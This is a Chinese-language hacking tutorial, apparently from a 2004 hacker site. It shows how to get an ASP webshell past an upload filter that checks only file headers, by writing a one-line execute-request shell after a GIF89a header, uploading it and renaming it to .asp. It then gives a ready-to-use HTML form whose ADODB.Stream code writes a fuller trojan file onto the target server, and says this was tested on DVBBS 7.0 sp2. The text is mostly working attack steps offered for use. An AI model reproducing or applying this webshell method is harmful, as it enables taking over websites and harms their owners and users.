相信大家不止一次遇到以下的情况了:明明拿到了网站的后台管理权限,依照惯例,我们要将网页木马的后缀名由.asp改成.gif等图片格式,通过头像上传或是图片上传功能上传到服务器,然后在后台管理里利用数据库备份的漏洞再将其改为.asp的格式,就可以达到上传网页木马的目的了。
以上方法对付一般的服务器还行,但是对方的管理员稍微有些安全意识或是他使用了某个安全性相对好一些的整站程序时,就会遇到问题了。
为什么呢?因为在上传程序里加入了脚本检测的功能,它不单检测你所上传的文件是否以.gif等后缀名结尾,同时还要检测文件的内容是否包含脚本代码,如果有则还是认为程序非法,这就以为着就算我们把.asp改成.gif也是无济于事的看来设计人员真是煞费苦心了。
加入了脚本检测功能就一定安全了吗?不见得!这里我就和大家探讨一下我的研究成果:
通过分析他的脚本,发现脚本是根据文件的头信息来判断的。因为如果一个文件的头信息不包含脚本的话,就算是上传了也不会执行。编程者好狠的心啊!这样的判断启不是让我等无饭可吃了?呵呵!而且目前很多的安全站点都是这样设计的。
既然这样,我们也就不能客气了。好,看我的方法:
第一步:随便找一个图象文件,这里我就找一个.gif的文件吧,用记事本打开这个文件。会发现类似这样的乱码:
GIF89ad 2 鳟 P+ 傋^2&aZff仢l▌G6_伴dE@CVp3伣塝Oal:n?氫壈?a href=''mailto:uJ@M@Ep''>uJ@M@Ep[[f溒橲?r?0OUh)勅圧EQ75`>7L溩嚄Wm坲QL\eyw~蝡q乢彾嬈颬偔E5Pbz^RZ嗂擰?kX]<`卻iok;-嫑?戓V1''慛<S>>`9/kE>>欅m=1L︾O|社l便恗hc|?{疢N]~ZWQj噳M=y
好的,现在把其他的都删掉,只留下第一行的GIF89ad字样,回车换行(切记,一定要在下一行)写入 " <%execute request("l")%> "语句。保存。
第二步:上传这个文件,呵呵,发现什么了?居然上传成功了!好,接下来我们在后台将其改为.asp的文件。
第三步:本地建立htm文件写入如下代码:
<form action=http://www.XXX.com/xxx.asp method=post>
<textarea name=l cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("p")
lP.SaveToFile server.mappath("dbbak.asp"),2
lP.Close
set lP=nothing
response.redirect "dbbak.asp"
</textarea>
<textarea name=p cols=120 rows=10 width=45>这填马的代码</textarea><BR><center><br>
<input type=submit value=提交>
可以根据自己的需要修改相应的地方,其实明眼人一看就知道我这里使用的是 ——
"蓝屏大叔的最小asp马"。好!运行吧,剩下的事情就看你自己的了。
漏洞分析:这个漏洞是利用了脚本检测只检测文件头信息而形成的,而"蓝屏大叔的最小asp马"却有着良好的容错性,只要服务端写在.asp的文件里,不管任何地方,都可以执行的特点。这真是应了那句话:世间万物必相生相克啊。而且,我已经尝试过了,如果要让脚本检测将整个文件内容都检查的话,会大大降低整站程序的运行效率,作为编程人员是肯定不会这样做的。所以,这个漏洞,我自己也暂时没有想到好的解决办法,呵呵!谁让世界上最难超越的人是自己呢?看来,漏洞的弥补只好寄希望于各位看官了。
以上漏洞在DVBBS 7.0 sp2 极其以下版本测试通过
http://hackbase.com/tech/2004-12-06/37228.html